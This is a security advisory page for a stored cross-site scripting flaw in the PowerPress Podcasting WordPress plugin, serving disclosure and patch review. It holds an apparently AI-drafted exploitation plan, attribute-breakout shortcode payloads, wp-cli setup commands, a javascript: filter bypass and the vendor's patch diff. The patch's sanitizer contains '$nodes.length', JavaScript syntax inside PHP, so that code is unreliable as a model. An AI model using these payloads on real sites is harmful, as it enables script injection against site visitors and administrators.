CVE-2026-32351

PowerPress Podcasting <= 11.15.13 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
11.15.14
Patched in
62d
Time to patch

Description

The PowerPress Podcasting plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 11.15.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=11.15.13
PublishedFebruary 13, 2026
Last updatedApril 15, 2026
Affected pluginpowerpress

What Changed in the Fix

Changes introduced in v11.15.14

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the PowerPress Podcasting plugin, specifically within its shortcode handling logic. ### 1. Vulnerability Summary The PowerPress Podcasting plugin fails to sufficiently sanitize and escape attributes provided in its shor…

Show full research plan

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the PowerPress Podcasting plugin, specifically within its shortcode handling logic.

1. Vulnerability Summary

The PowerPress Podcasting plugin fails to sufficiently sanitize and escape attributes provided in its shortcodes, such as [display_podcast] and [powerpress]. While the plugin attempts to filter out javascript: URIs using a blacklist approach in powerpress_shortcode_handler, it does not escape the attributes before they are rendered in HTML contexts (such as <img> tags or media player wrappers). This allows an authenticated user with at least Author-level privileges to inject malicious HTML attributes (e.g., onerror, onmouseover) or break out of HTML attributes to inject <script> tags.

2. Attack Vector Analysis

  • Shortcode: [display_podcast] (and likely [powerpress]).
  • Vulnerable Attributes: image, width, height.
  • Authentication Level: Author (level required to create or edit posts and use shortcodes).
  • Payload Location: The post_content field of a WordPress post or page.
  • Preconditions: The process_podpress setting must be enabled for the [display_podcast] shortcode to be active (this is a common configuration for users migrating from PodPress).

3. Code Flow

  1. Entry Point: An Author creates a post containing a shortcode like:
    [display_podcast url="..." image="x\" onerror=\"alert(1)\""]
  2. Processing: When the post is rendered, WordPress calls do_shortcode(), which triggers the registered callback for display_podcast: powerpress_shortcode_handler (defined in powerpress-player.php).
  3. Blacklist Filter: In powerpress_shortcode_handler, the code attempts to filter attributes:
    $attributes = array_filter($attributes, function ($var) {
        $var_without_whitespace = preg_replace("/\s+/", "", $var);
        if (strpos($var_without_whitespace, 'javascript:') === 0) {
            return ''; // Removes the attribute if it starts with javascript:
        } else {
            return $var;
        }
    });
    
    This only checks if the value starts with javascript:. It does not prevent attribute breakout using quotes.
  4. Extraction: extract( shortcode_atts( ..., $attributes ) ); assigns the malicious image value to the $image variable.
  5. Sink: The $image, $width, and $height variables are passed into an array and sent to the powerpress_player filter:
    $return .= apply_filters('powerpress_player', '', ..., array(..., 'image'=>$image, 'width'=>$width, 'height'=>$height) );
    
  6. Rendering: Functions hooked to powerpress_player (like powerpressplayer_mediaobjects_video or powerpressplayer_mediaobjects_audio, registered in powerpressplayer_init) use these values to construct HTML. Based on the vulnerability report, these functions output the variables without using esc_attr(), leading to XSS.

4. Nonce Acquisition Strategy

No nonce is required.
Shortcodes are processed server-side during the rendering of post content. Any user who can view the post (including guests) will trigger the execution of the stored payload. The "Author" role is only required to store the payload initially via the standard WordPress post editor.

5. Exploitation Strategy

The goal is to inject a payload that executes when a user views the post.

  1. Setup the Plugin Setting: Enable the compatibility shortcode if necessary.
  2. Create the Post: Use wp_cli (as the agent) to create a post as an Author with the malicious shortcode.
  3. Trigger Execution: Use http_request to browse to the post's permalink and verify the script executes.

Payload:
We will use the image attribute to break out of a src or poster attribute.
image='x" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;"'
This payload is designed to cover the entire screen, ensuring the onmouseover event is triggered immediately.

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password
    
  2. Enable PodPress Processing:
    The [display_podcast] shortcode is only registered if process_podpress is set.
    wp option patch insert powerpress_general process_podpress 1
    
  3. Create the Malicious Post:
    AUTHOR_ID=$(wp user get attacker --field=ID)
    wp post create --post_type=post --post_status=publish --post_author=$AUTHOR_ID \
      --post_title="Podcast Episode" \
      --post_content='[display_podcast url="https://media.blubrry.com/blubrrypreview/content.blubrry.com/blubrrypreview/transcript_test_episode.mp3" image="x\" onmouseover=\"alert(document.domain)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;background:rgba(255,0,0,0.1);\""]'
    

7. Expected Results

When viewing the post, the generated HTML will contain a player element with an attribute breakout. For example:

<img src="x" onmouseover="alert(document.domain)" style="position:fixed;..." ...>

Or, if used in a video poster:

<video poster="x" onmouseover="alert(document.domain)" ...>

The browser will execute alert(document.domain) when the mouse moves over the page.

8. Verification Steps

  1. Identify Post URL:
    POST_URL=$(wp post list --post_type=post --title="Podcast Episode" --field=url)
    
  2. Request Post Content: Use the http_request tool to fetch the POST_URL.
  3. Inspect Response: Search the response body for the string:
    onmouseover="alert(document.domain)"
    Confirm it is rendered outside of the expected attribute quotes.

9. Alternative Approaches

If [display_podcast] is restricted or the payload is blocked by another filter:

  • Try width or height attributes:
    [display_podcast url="..." width='100%" onmouseover="alert(1)"']
  • Try the [powerpress] shortcode: Although registration isn't in the provided snippet, it is the plugin's primary shortcode and likely shares the powerpress_shortcode_handler callback or similar logic.
  • Bypass javascript: filter: If the sink is within a src attribute of an <a> or <iframe> tag, use ja v\nascript:alert(1) (with whitespace) to bypass the strpos(..., 'javascript:') === 0 check, as the plugin only removes whitespace before checking the prefix.
Research Findings
Static analysis — not yet PoC-verified

Summary

The PowerPress Podcasting plugin is vulnerable to Stored Cross-Site Scripting via shortcode attributes and embed fields due to insufficient input validation and output escaping. Authenticated attackers with Author-level privileges can inject malicious scripts into posts via attributes like 'image' in the [display_podcast] shortcode or via the podcast embed field, which execute in the browser of any user viewing the affected page.

Vulnerable Code

// powerpress-player.php lines 133-145
	if (is_array($attributes)) {
        $attributes = array_filter($attributes, function ($var) {
            $var_without_whitespace = preg_replace("/\s+/", "", $var);
            if (strpos($var_without_whitespace, 'javascript:') === 0) {
                return '';
            } else {
                return $var;
            }
        });
    }

---

// powerpress.php line 411
if ($EpisodeData && !empty($EpisodeData['embed'])) {
    $new_content .= trim($EpisodeData['embed']);
    if (!empty($GeneralSettings['embed_replace_player']))
        $AddDefaultPlayer = false;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.13/powerpressadmin-jquery.php /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.14/powerpressadmin-jquery.php
--- /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.13/powerpressadmin-jquery.php	2026-01-22 16:39:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.14/powerpressadmin-jquery.php	2026-02-12 15:03:12.000000000 +0000
@@ -2302,8 +2302,6 @@
 if( !defined('WP_ADMIN') )
 	require_once(ABSPATH . 'wp-admin/includes/admin.php');
 
-wp_admin_css( 'css/global' );
-wp_admin_css();
 if( $jquery )
 	wp_enqueue_script('utils');
 
@@ -2370,8 +2368,6 @@
 if( !defined('WP_ADMIN') )
 	require_once(ABSPATH . 'wp-admin/includes/admin.php');
 
-wp_admin_css( 'css/global' );
-wp_admin_css();
 if( $jquery )
 	wp_enqueue_script('utils');
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.13/powerpressadmin.php /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.14/powerpressadmin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.13/powerpressadmin.php	2026-02-04 16:44:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.14/powerpressadmin.php	2026-02-12 15:03:12.000000000 +0000
@@ -6902,7 +6902,7 @@
 					$embed = preg_replace('/width="(\d{1,4})"/i', 'width="100%"', $embed );
 					
 					echo '<div class="powerpressNewsPlayer">';
-					echo $embed;
+					echo SanitizeEmbed($embed);
 					echo '</div>';
 				}
 				else if( $first_item )
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.13/powerpress.php /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.14/powerpress.php
--- /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.13/powerpress.php	2026-02-05 16:18:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.14/powerpress.php	2026-02-12 15:03:12.000000000 +0000
@@ -408,7 +408,7 @@
                         $AddDefaultPlayer = empty($EpisodeData['no_player']);
 
                         if ($EpisodeData && !empty($EpisodeData['embed'])) {
-                            $new_content .= trim($EpisodeData['embed']);
+                            $new_content .= SanitizeEmbed(trim($EpisodeData['embed']));
                             if (!empty($GeneralSettings['embed_replace_player']))
                                 $AddDefaultPlayer = false;
                         }
@@ -608,6 +608,69 @@
     }
 }
 
+function SanitizeEmbed($html) {
+    $dom = new DOMDocument();
+    libxml_use_internal_errors(true);
+    // force UTF-8 encoding
+    $html_encoded = '<?xml encoding="UTF-8"><div>' . $html . '</div>';
+    $dom->loadHTML($html_encoded, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
+    $allowed_tags = ['iframe', 'div'];
+    $allowed_attrs = ['src', 'width', 'height', 'frameborder', 'allow', 'sandbox', 'referrerpolicy', 'loading', 'allowfullscreen', 'title', 'scrolling', 'alt'];
+
+    $xpath = new DOMXPath($dom);
+    $nodes = $xpath->query('//*');
+
+    for ($i = $nodes.length - 1; $i >= 0; $i--) {
+        $node = $nodes->item($i);
+        // remove unauthorized tags
+        if (!in_array($node->nodeName, $allowed_tags)) {
+            $node->parentNode->removeChild($node);
+            continue;
+        }
+
+        // clean attributes
+        if ($node->hasAttributes()) {
+            $attrsToRemove = [];
+            foreach ($node->attributes as $attr) {
+                // remove unauthorized attributes
+                if (!in_array($attr->name, $allowed_attrs)) {
+                    $attrsToRemove[] = $attr->name;
+                    continue;
+                }
+
+                // remove any attributes with xss
+                $bad_schemes = [
+                    'javascript:',
+                    'vbscript:',
+                    'data:',
+                    'file:',
+                    'mhtml:'
+                ];
+                foreach ($bad_schemes as $scheme) {
+                    if (stripos($attr->value, $scheme) !== false) {
+                        $attrsToRemove[] = $attr->name;
+                        continue 2;
+                    }
+                }
+            }
+            // Remove the bad attributes we found
+            foreach ($attrsToRemove as $attrName) {
+                $node->removeAttribute($attrName);
+            }
+        }
+    }
+
+    // remove the wrapper
+    $container = $dom->getElementsByTagName('div')->item(0);
+    $output = '';
+    if ($container) {
+        foreach ($container->childNodes as $child) {
+            $output .= $dom->saveHTML($child);
+        }
+    }
+    return $output;
+}
+
 
 function powerpress_check_for_chartable()
 {
@@ -4162,7 +4225,7 @@
 
                     if( $EpisodeData && !empty($EpisodeData['embed']) )
                     { // powerpress.php @ 11.15.13 line 4165
-                        $new_content .=  trim($EpisodeData['embed']);
+                        $new_content .=  SanitizeEmbed(trim($EpisodeData['embed']));
                         if( !empty($GeneralSettings['embed_replace_player']) )
                             $AddDefaultPlayer = false;
                     }
@@ -5493,7 +5556,7 @@
             $AddDefaultPlayer = true;
             if( !empty($EpisodeData['embed']) )
             {
-                $recipienteturn .= $EpisodeData['embed'];
+                $recipienteturn .= SanitizeEmbed($EpisodeData['embed']);
                 if( !empty($GeneralSettings['embed_replace_player']) )
                     $AddDefaultPlayer = false;
             }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.13/powerpress-player.php /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.14/powerpress-player.php
--- /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.13/powerpress-player.php	2025-08-04 18:08:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/powerpress/11.15.14/powerpress-player.php	2026-02-12 15:03:12.000000000 +0000
@@ -168,7 +168,7 @@
         }
         $EpisodeData = powerpress_get_enclosure_data($post_id, $channel);
 		if( !empty($EpisodeData['embed']) )
-			$return = $EpisodeData['embed'];
+			$return = SanitizeEmbed($EpisodeData['embed']);
 		
 		// Shortcode over-ride settings:
 		if( !empty($image) )
@@ -266,7 +266,7 @@
                     continue;
 
                 if (!empty($EpisodeData['embed']))
-                    $return .= $EpisodeData['embed'];
+                    $return .= SanitizeEmbed($EpisodeData['embed']);
 
                 // Shortcode over-ride settings:
                 if (!empty($image))
@@ -1103,7 +1103,7 @@
 	}
 	else if( !empty($EpisodeData['embed']) )
 	{
-		echo $EpisodeData['embed'];
+		echo SanitizeEmbed($EpisodeData['embed']);
 	}
 	else //  if( !isset($EpisodeData['no_player']) ) // Even if there is no player set, if the play in new window option is enabled then it should play here...

Exploit Outline

To exploit this vulnerability, an attacker requires Author-level permissions or higher to create or edit WordPress posts. 1. The attacker creates a new post or edits an existing one. 2. The attacker inserts a shortcode such as `[display_podcast]` or `[powerpress]` containing a malicious attribute. For example: `[display_podcast image="x\" onerror=\"alert(document.domain)\""]`. The attribute payload uses a double quote to break out of the HTML attribute context (e.g., the `src` or `poster` attribute of an image or video tag). 3. Alternatively, if the attacker can modify the podcast episode's 'embed' field, they can inject arbitrary HTML/scripts that are echoed directly by the plugin. 4. Once the post is saved and published, the plugin's shortcode handler processes the attributes but fails to sanitize them. When a user (including administrators) views the post, the injected event handler (like `onerror`) or script executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.